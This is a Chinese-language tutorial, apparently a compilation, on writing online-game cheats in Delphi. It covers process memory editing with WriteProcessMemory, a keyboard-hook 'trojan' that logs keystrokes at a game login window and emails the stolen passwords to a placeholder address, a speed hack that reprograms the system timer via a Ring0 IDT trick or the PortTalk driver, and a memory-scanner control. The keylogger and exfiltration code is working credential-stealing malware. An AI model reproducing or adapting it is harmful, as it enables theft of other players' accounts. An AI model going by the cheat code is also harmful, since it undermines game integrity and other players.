在做外挂之前我们要对 Windows 的内存有个具体的认识，而在这里我们所指的内存是指系统的内存偏移量，也就是相对内存，而我们所要对其进行修改，那么我们要对几个 Windows API 进行了解，OK，跟着例子让我们看清楚这种外挂的制作和 API 的应用（为了保证网络游戏的正常运行，我就不把找内存地址的方法详细解说了）：

1、首先我们要用 FindWindow,知道游戏窗口的句柄，因为我们要通过它来得知游戏的运行后所在进程的 ID，下面就是 FindWindow 的用法：

```
HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
```

2、我们 GetWindowThreadProcessId 来得到游戏窗口相对应进程的进程 ID，函数用法如下：

```
DWORD GetWindowThreadProcessId(

HWND hWnd, // handle of window
LPDWORD lpdwProcessId // address of variable for process identifier
);
```

3、得到游戏进程 ID 后，接下来的事是要以最高权限打开进程，所用到的函数 OpenProcess 的具体使用方法如下：

```
HANDLE OpenProcess(

DWORD dwDesiredAccess, // access flag
BOOL bInheritHandle, // handle inheritance flag
DWORD dwProcessId // process identifier
);
```

在 dwDesiredAccess 之处就是设存取方式的地方，它可设的权限很多，我们在这里使用只要使用 PROCESS_ALL_ACCESS 来打开进程就可以，其他的方式我们可以查一下 MSDN。

4、打开进程后，我们就可以用函数对存内进行操作，在这里我们只要用到 WriteProcessMemory 来对内存地址写入数据即可（其他的操作方式比如说：ReadProcessMemory 等，我在这里就不一一介绍了），我们看一下 WriteProcessMemory 的用法：

BOOL WriteProcessMemory(

HANDLE hProcess, // handle to process whose memory is written to
LPVOID lpBaseAddress, // address to start writing to
LPVOID lpBuffer, // pointer to buffer to write data to
DWORD nSize, // number of bytes to write
LPDWORD lpNumberOfBytesWritten // actual number of bytes written
);

5、下面用 CloseHandle 关闭进程句柄就完成了。

这就是这类游戏外挂的程序实现部份的方法，好了，有了此方法，我们就有了理性的认识，我们看看实际例子，提升一下我们的感性认识吧，下面就是 XX 游戏的外挂代码，我们照上面的方法对应去研究一下吧：

```
const
ResourceOffset: dword = $004219F4;
resource: dword = 3113226621;
ResourceOffset1: dword = $004219F8;
resource1: dword = 1940000000;
ResourceOffset2: dword = $0043FA50;
resource2: dword = 1280185;
ResourceOffset3: dword = $0043FA54;
resource3: dword = 3163064576;
ResourceOffset4: dword = $0043FA58;
resource4: dword = 2298478592;
var
hw: HWND;
pid: dword;
h: THandle;
tt: Cardinal;
begin
hw := FindWindow(&amp;#39;XX&amp;#39;, nil);
if hw = 0 then
```

```
Exit;
GetWindowThreadProcessId(hw, @pid);
h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if h = 0 then
Exit;
if flatcheckbox1.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
end;
if flatcheckbox2.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);
WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
end;
MessageBeep(0);
CloseHandle(h);
close;
```

这个游戏是用了多地址对所要提交的数据进行了校验，所以说这类游戏外挂制作并不是很难，最难的是要找到这些地址。

木马式外挂

木马式外挂，可能大多像木马吧，是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在，所以今天不得不说一下（我个人是非常讨厌这类外挂的，请看过本文的朋友不要到处乱用此技术，谢谢合作）。要做此类外挂的程序实现方法很多（比如 HOOK，键盘监视等技术），因为 HOOK 技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库，所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe 文件就能实现做到后台键盘监视，这个程序用这种技术来实现比较适合。

在做程序之前我们必需要了解一下程序的思路：

1、我们首先知道你想记录游戏的登录窗口名称。

2、判断登录窗口是否出现。

3、如果登录窗口出现，就记录键盘。

4、当窗口关闭时，把记录信息，通过邮件发送到程序设计者的邮箱。

第一点我就不具体分析了，因为你们比我还要了解你们玩的是什么游戏，登录窗口名称是什么。从第二点开始，我们就开始这类外挂的程序实现之旅：

那么我们要怎么样判断登录窗口虽否出现呢？其实这个很简单，我们用 FindWindow 函数就可以很轻松的实现了：

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);

实际程序实现中，我们要找到 'xx' 窗口，就用 FindWindow(nil,'xx')如果当返回值大于 0 时表示窗口已经出现，那么我们就可以对键盘信息进行记录了。

先首我们用 SetWindowsHookEx 设置监视日志，而该函数的用法如下：

HHOOK SetWindowsHookEx(

int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);

在这里要说明的是在我们程序当中我们要对 HOOKPROC 这里我们要通过写一个函数，来实现而 HINSTANCE 这里我们直接用本程序的 HINSTANCE 就可以了，具体实现方法为：

hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);

而 HOOKPROC 里的函数就要复杂一点点：

function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then file://如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then file://消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); file://通过 keyhookresult（自定义的函数，主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的）转换消息。
if length(hookkey) > 0 then file://如果获得按键名称
begin
Write(hookkeyFile,hookkey); file://把按键名称写入文本文件
hookkey := '';

```
end;
end;
end;
```

以上就是记录键盘的整个过程，简单吧，如果记录完可不要忘记释放呀，UnHookWindowsHookEx(hHook)，而 hHOOK,就是创建 setwindowshookex 后所返回的句柄。

我们已经得到了键盘的记录，那么现在最后只要把记录的这些信息发送回来，我们就大功造成了。其他发送这块并不是很难，只要把记录从文本文件里边读出来，用 DELPHI 自带的电子邮件组件发一下就万事 OK 了。代码如下：

```
assignfile(ReadFile,&#39;hook.txt&#39;); file://打开 hook.txt 这个文本文件
reset(ReadFile); file://设为读取方式
try
While not Eof(ReadFile) do file://当没有读到文件尾
begin
Readln(ReadFile,s,j); file://读取文件行
body:=body+s;
end;
finally
closefile(ReadFile); file://关闭文件
end;
nmsmtp1.EncodeType:=uuMime; file://设置编码
nmsmtp1.PostMessage.Attachments.Text:=&#39;&#39;; file://设置附件
nmsmtp1.PostMessage.FromAddress:=&#39;XXX@XXX.com&#39;; file://设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:=&#39;XXX@XXX.com&#39;; /设置目标邮件地址
nmsmtp1.PostMessage.Body.Text:=&#39;密码&#39;+&#39; &#39;+body; file://设置邮件内容
nmsmtp1.PostMessage.Subject:=&#39;password&#39;; file://设置邮件标题
nmsmtp1.SendMail; file://发送邮件
```

这个程序全部功能已经实现，编编试试。

加速型外挂

原本我一直以为加速外挂是针对某个游戏而写的，后来发现我这种概念是不对的，所谓加速外挂其实是修改时钟频率达到加速的目的。

以前 DOS 时代玩过编程的人就会马上想到，这很简单嘛不就是直接修改一下 8253 寄存器嘛，这在以前 DOS 时代可能可以行得通，但是 windows 则不然。windows 是一个 32 位的操作系统，并不是你想改哪就改哪的（微软的东东就是如此霸气，说不给你改就不给你改），但要改也不是不可能，我们可以通过两种方法来实现：第一是写一个硬件驱动来完成，第二是用 Ring0 来实现（这种方法是 CIH 的作者陈盈豪首用的，它的原理是修改一下 IDE 表->创建一个中断门->进入 Ring0->调用中断修改向量，但是没有办法只能用 ASM 汇编来实现这一切*_*，做为高级语言使用者惨啦！），用第一种方法用点麻烦，所以我们在这里就用第二种方法实现吧~~~

在实现之前我们来理一下思路吧：

1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改 IDE 表、创建中断门，修改向量等工作

2、调用这个过程来实现加速功能

好了，现在思路有了，我们就边看代码边讲解吧：

首先我们建立一个过程，这个过程就是本程序的核心部份：

```
procedure SetRing(value:word); stdcall;
const ZDH = $03; / / 设一个中断号
var
IDT : array [0..5] of byte; / / 保存 IDT 表
OG : dword; / /存放旧向量
begin
asm
push ebx
sidt IDT / /读入中断描述符表
mov ebx, dword ptr [IDT+2] / /IDT 表基地址
add ebx, 8*ZDH / /计算中断在中断描述符表中的位置
cli / /关中断
mov dx, word ptr [ebx+6]
shl edx, 16d
mov dx, word ptr [ebx]
mov [OG], edx
mov eax, offset @@Ring0 / /指向 Ring0 级代码段
mov word ptr [ebx], ax / /低 16 位,保存在 1,2 位
shr eax, 16d
mov word ptr [ebx+6], ax / /高 16 位，保存在 6,7 位
int ZDH / /中断
mov ebx, dword ptr [IDT+2] / /重新定位
add ebx, 8*ZDH
mov edx, [OG]
mov word ptr [ebx], dx
shr edx, 16d
mov word ptr [ebx+6], dx / /恢复被改了的向量
pop ebx
jmp @@exitasm / /到 exitasm 处
@@Ring0: / /Ring0,这个也是最最最核心的东东
mov al,$34 / /写入 8253 控制寄存器
out $43,al
```

```
mov ax,value    / / 写入定时值
out $40,al / / 写定时值低位
mov al,ah
out $40,al / / 写定时值高位
iretd / / 返回
@@exitasm:
end;
end;
```

最核心的东西已经写完了，大部份读者是知其然不知其所以然吧，呵呵，不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧！

先加一个窗口，在窗口上放上一个 trackbar 控件把其 Max 设为 20，Min 设为 1，把 Position 设为 10，在这个控件的 Change 事件里写上：

```
+inttostr(1742+(10-trackbar1.Position)*160)));
```

因为 windows 默认的值为$1742，所以我们把 1742 做为基数，又因为值越小越快，反之越慢的原理，所以写了这样一个公式，好了，这就是“变速齿轮”的一个 Delphi + ASM 版了（只适用于 win9X），呵呵，试一下吧，这对你帮助会很大的，呵呵。

在 win2000 里，我们不可能实现在直接对端口进行操作，Ring0 也失了效，有的人就会想到，我们可以写驱动程序来完成呀，但在这里我告诉你，windows2000 的驱动不是一个 VxD 就能实现的，像我这样的低手是写不出 windows 所用的驱动 WDM 的，没办法，我只有借助外力实现了，ProtTalk 就是一个很好的设备驱动，他很方便的来实现对低层端口的操作，从而实现加速外挂。

1、我们首先要下一个 PortTalk 驱动，他的官方网站是 http://www.beyondlogic.org

2、我们要把里面的 prottalk.sys 拷贝出来。

3、建立一个 Protalk.sys 的接口（我想省略了，大家可以上 http://www.freewebs.com/liuyue/port...s 文件自己看吧）

4、实现加速外挂。

下面就讲一下这程序的实现方法吧，如果说用 ProtTalk 来操作端口就容易多了，比 win98 下用 ring 权限操作方便。

1、新建一个工程，把刚刚下的接口文件和 Protalk.sys 一起拷到工程文件保存的文件夹下。

2、我们在我们新建的工程加入我们的接口文件

```
uses
```

windows,ProtTalk……

3、我们建立一个过程

```
procedure SetRing(value:word);
begin
if not OpenPortTalk then exit;
outportb($43,$34);
outportb($40,lo(Value));
outprotb($40,hi(value));
ClosePortTalk;
end;
```

4、先加一个窗口，在窗口上放上一个 trackbar 控件把其 Max 设为 20，Min 设为 1，把 Position 设为 10，在这个控件的 Change 事件里写上：

```
+inttostr(1742+(10-trackbar1.Position)*160)));
```

就这么容易。

goodmorning 收集整*理(请勿删除)

在内存中修改数据的网游外挂

现在很多游戏都是把一些信息存入内存单元的，那么我们只需要修改具体内存值就能修改游戏中的属性，很多网络游戏也不外于此。

曾几何时，一些网络游戏也是可以用内存外挂进行修改的，后来被发现后，这些游戏就把单一内存地址改成多内存地址校验，加大了修改难度，不过仍然可以通过内存分析器可以破解的。诸如“FPE”这样的软件便提供了一定的内存分析功能。

“FPE”是基于内存外挂的佼佼者，是家喻户晓的游戏修改软件。很多同类的软件都是模仿“FPE”而得到玩家的认可。而“FPE”实现的技术到现在都没有公开，很多人只能够通过猜测“FPE”的实现方法，实现同类外挂。笔者也曾经模仿过“FPE”实现相应的功能，如“内存修改”、“内存查询”等技术。稍后会对此技术进行剖析。

既然要做内存外挂，那么就必须对 Windows 的内存机制有所了解。计算机的内存(RAM)总是不够用的，在操作系统中内存就有物理内存和虚拟内存之分，因为程序创建放入物理内存的地址都是在变化的，所以在得到游戏属性时并不能够直接访问物理内存地址。在 v86 模式下，段寄存器使用方法与实模式相同，那么可以通过段寄存器的值左移 4 位加上地址偏移量就可以得到线性地址，而程序创建时在线性地址的中保留 4MB-2GB 的一段地址，游戏中属性便放于此。在 windows 中把虚拟内存块称之为页，而每页为 4KB，在访问内存时读取游戏属性时，为了不破坏数据完整性的快速浏览内存地址值，最好一次访问一页。

在操作进程内存时，不需要再使用汇编语言，Windows 中提供了一些访问进程内存空

间的 API，便可以直接对进程内存进行操作。但初学者一般掌握不了这一项技术，为了使初学者也能够对内存进行操作，做出基于内存控制的外挂，笔者把一些内存操作及一些内存操作逻辑进行了封装，以控件形式提供给初学者。控件名为：MpMemCtl。

初学者在使用此控件时，要先安装外挂引擎控件包（在此后的每篇文章中外挂引擎控件包仅提供与该文章相应的控制控件），具体控件安装方式，请参阅《Delphi 指南》，由于篇幅所限，恕不能详细提供。

在引擎安装完成后，便可以在 Delphi 中的组件栏内，找到[MP GameControls]控件组，其中可以找到[MpMemCtl]控件。初学者可以使用此控件可以对内存进行控制。

一、 得到进程句柄

需要操作游戏内存,那么首先必须确认要操作的游戏,而游戏程序在运行时所产生的每一个进程都有一个唯一的句柄。

使用控件得到句柄有三种方法：

1、 通过控件打开程序得到句柄。

在控件中，提供了 startProgram 方法，通过该方法，可以打开程序得到进程句柄，并且可以返回进程信息。

```
PProcInfo: PROCESS_INFORMATION;
MpMemCtl.startProgram(
   FilePath:String; //程序路径
   var aProc_Info：PROCESS_INFORMATION //进程信息
)：BOOLEAN
```

该方法提供了两个参数，第一个参数为要打开的程序路径，第二个参数为打开程序后所创建进程的进程信息。使用这个方法在得到进程信息的同时，并给控件的 ProcHandle（进程句柄）属性进行了附值，这时可以使用控件直接对内存进程读写操作。其应用实例如下：

```
Var
   PProcInfo: PROCESS_INFORMATION;
begin
   MpMemCtl1.startProgram(edit1.Text, PProcInfo)
```

2、通过控件根据程序名称得到句柄。

在控件中，对系统运行进程也有了相应的描述，控件提供了两个方法，用于根据程序名称得到相应的进程句柄。 getProcIDs()可以得到系统现在所运行的所有程序的名称列表 。getProcID()可以通过所运行程序名称，得到相应进程的句柄。

getProcIDs():TStrings //所返回为多行字符串型

getProcID(
aProcName:String //应用程序名称
):Thandle; //应用程序进程句柄

其应用实例如下：

首先可以通过 getProcIDs()并把参数列表返回 ComboBox1.Items 里：

ComboBox1.Items:=MpMemCtl1.getProcIDs();

接着可以通过 getProcID()得到相应的进程句柄，并给控件的 ProcHandle（进程句柄）属性进行了附值，这时可以使用控件直接对内存进程读写操作。

MpMemCtl1.getProcID(ComboBox1.Text)

3、通过控件根据窗口名称得到句柄。

在控件中，控件提供了两个方法，用于根据窗口名称得到相应的进程句柄。可以通过 getALLWindow()得到所有在进程中运行的窗口。 getWinProcHandle()可以通过相应的窗口名称，得到相应的进程的句柄。

getALLWindow(
aHandle:THandle //传入当前窗口的句柄
):TStrings; //返回当前所有运行窗口的名称

getWinProcHandle(
aWindowName:String //传入当前窗口名称
):Thandle; //返回窗口的句柄

其应用实例如下：

首先可以通过 getALLWindow ()并把参数列表返回 ComboBox1.Items 里：

ComboBox1.Items:=MpMemCtl1. getALLWindow（Handle）;

接着可以通过 getWinProcHandle ()得到相应的进程句柄，并给控件的 ProcHandle（进程句柄）属性进行了附值，这时可以使用控件直接对内存进程读写操作。

MpMemCtl1. getWinProcHandle (ComboBox1.Text);

二、使游戏暂停

在程序中，为了便于更好的得到游戏的当前属性。在控件中提供了游戏暂停方法。只需要调用该方法，游戏便可以自由的暂停或启动。该方法为：pauseProc()

```
pauseProc(
  aType:integer //控制类型
)
```

控制类型只能够传入参数 0 或 1，0 代表使游戏暂停，1 代表取消暂停。其应用实例如下：

```
MpMemCtl1.pauseProc(0); //暂停游戏
MpMemCtl1.pauseProc(1); //恢复暂停
```

三、读写内存值

游戏属性其实寄存在内存地址值里，游戏中要了解或修改游戏属性，可以通过对内存地值的读出或写入完成。

通过控件，要读写内存地址值很容易。可以通过调用控件提供的 getAddressValue（）及 setAddressValue（）两个方法即可，在使用方法之前，要确认的是要给 ProcHandle 属性进行附值，因为对内存的操作必须基于进程。给 ProcHandle 属性附值的方法，在上文中已经介绍。无论是对内存值进行读还是进行写，都要明确所要操作的内存地址。

```
getAddressValue( //读取内存方法
aAddress:pointer; //操作的内存地址
var aValue:integer //读出的值
):Boolean;

setAddressValue( //写入内存方法
aAddress:pointer; //操作的内存地址
aValue:integer //写入的值
):Boolean;
```

要注意的是，传入内存地址时，内存地址必须为 Pointer 型。其应用实例如下：

读取地址值（如果“主角”等级所存放的地址为 4549632）：

```
var
  aValue:Integer;
begin
  MpMemCtl1.getAddressValue(Pointer('4549632'),aValue);
```

这时 aValue 变量里的值为内存地址[4549632]的值。

写入地址值：

MpMemCtl1.setAddressValue(Pointer(Strtoint('4549632')),strtoint(87));

通过该方法可以把要修改的内存地址值改为 87，即把"主角"等级改为 87。

四、内存地址值分析

在游戏中要想要到游戏属性存放的内存地址，那么就对相应内存地址进行内存分析，经过分析以后才可得到游戏属性存放的人存地址。

控件提供两种基于内存地址的分析方法。一种是按精确地址值进行搜索分析，另一种是按内存变化增减量进行搜索分析。

1、 如果很明确的知道当前想要修改的地址值，那么就用精确地址值进行搜索分析

在游戏中，需要修改人物的经验值，那么首先要从游戏画面上获得经验值信息，如游戏人物当前经验值为 9800，需要把经验值调高，那么这时候就需要对人物经验值在内存中搜索得到相应的内存地址，当然很可能在内存中地址值为 9800 的很多，第一次很可能搜索出若干个地址值为 9800 的地址。等待经验值再有所变化，如从 9800 变为了 20000 时，再次进行搜索，那么从刚刚所搜索到的地址中，便可以进一步获得范围更少的内存地址，以此类推，那么最后可得到经验值具体存放的地址。

如要用控件来实现内存值精确搜索，其实方法很简单，只需要调用该控件的 Search（）方法即可。但是在搜索之前要确认搜索的范围，正如前文中所说："而程序创建时在线性地址的中保留 4MB-2GB 的一段地址"，所以要搜索的地址应该是 4MB-2GB 之间，所以要把控件的 MaxAddress 属性设为 2GB，把控件的 MinAddress 属性设为 4MB。还有一个需要确认的是需要搜索的值，那么应该把 SearchValue 属性设置为当前搜索的值。如果需要显示搜索进度那么可以把 ShowGauge 属性挂上一个相应的 TGauge 控件（该控件为进度条控件）。

```
search(
   isFirst:Boolean //是否是第一次进行搜索
):Boolean
```

在搜索分析时为了提高搜索效率、实现业务逻辑，那么需要传入一个参数，从而确认是否是第一次进行内存。其应用实例如下：

```
maxV:=1024*1024*1024;
maxV:=2*MaxV;
minV:=4*1024*1024;
V:=StrToInt(Edit1.Text);
with MpMemCtl1 do
```

```
begin
   MaxAddress:=maxV;
   MinAddress:=minV;
   SearchValue:=SeaarchV;
   ShowGauge:=Gauge1;
   Search(first)
end;
if first then first:=false;
```

2、如果不明确当前想要修改的地址值，只知道想要修改的值变大或变小，那么就按内存变化增减量进行搜索分析。

如有些游戏的人物血值不显示出来，但要对人物血值进行修改，那么只有借助于内存量增减变化而进行搜索分析出该人物血值存放的地址。如果人物被怪物打了一下，那么人物血值就会减少，那么这时候就用减量进行搜索分析，如果人物吃了“血”人物血值就会增加，那么这时候就用增量进行搜索分析。经过不断搜索，最后会把范围放血值的内存地址给搜索出来。

如要用控件来实现内存值精确搜索，其实方法很简单，只需要调用该控件的 compare() 方法即可。MaxAddress、MinAddress 属性设置上面章节中有详细介绍，在此不再重提。在此分析中不需要再指定 SearchValue 属性。如果需要显示搜索进度那么可以把 ShowGauge 属性挂上一个相应的 TGauge 控件。

```
compare (
   isFirst:Boolean //是否是第一次进行搜索
   aType:Integer //搜索分析类型
):Boolean
```

在搜索分析时为了提高搜索效率、实现业务逻辑，那么需要传入一个参数，从而确认是否是第一次进行内存。搜索分析类型有两种：如果参数值为 0，那么就代表增量搜索。如果参数值为 1，那么就代表减量搜索。其应用实例如下：

```
if RadioButton1.Checked then v:=0
else v:=1;
   maxV:=1024*1024*1024;
   maxV:=2*MaxV;
   minV:=4*1024*1024;
   with MpMemCtl1 do
   begin
      MaxAddress:=maxV;
      MinAddress:=minV;
      ShowGauge:=Gauge1;
      compare(first,v);
end;
```

```
if first then first:=false;
```

五、得到内存地址值

在控件中，提供获得分析后内存地址列表的方法，只需要调用 getAddressList()方法，便可以获得分析过程中或分析结果地址列表。但如果使用的是按内存变化增减量进行搜索分析的方法，那么第一次可能会搜索出来很多的地址，致使返回速度过长，那么建议使用 getAddressCount（）方法确定返回列表为一定长度后才给予返回。

```
getAddressList():TStrings //返回地址字符串列表
getAddressCount():Integer //返回地址字符串列表长度
```

其应用实例如下：

```
if MpMemCtl1.getAddressCount（） <100 then
   listbox1.Items:=MpMemCtl1.getAddressList();
```

通过以上五个步骤，便可以整合成一个功能比较完备的，基于内存控制方法的游戏外挂。有了“FPE”的关键部份功能。利用此工具，通过一些方法，不仅仅可以分析出来游戏属性单内存地址，而且可以分析出一部份多内存游戏属性存放地址。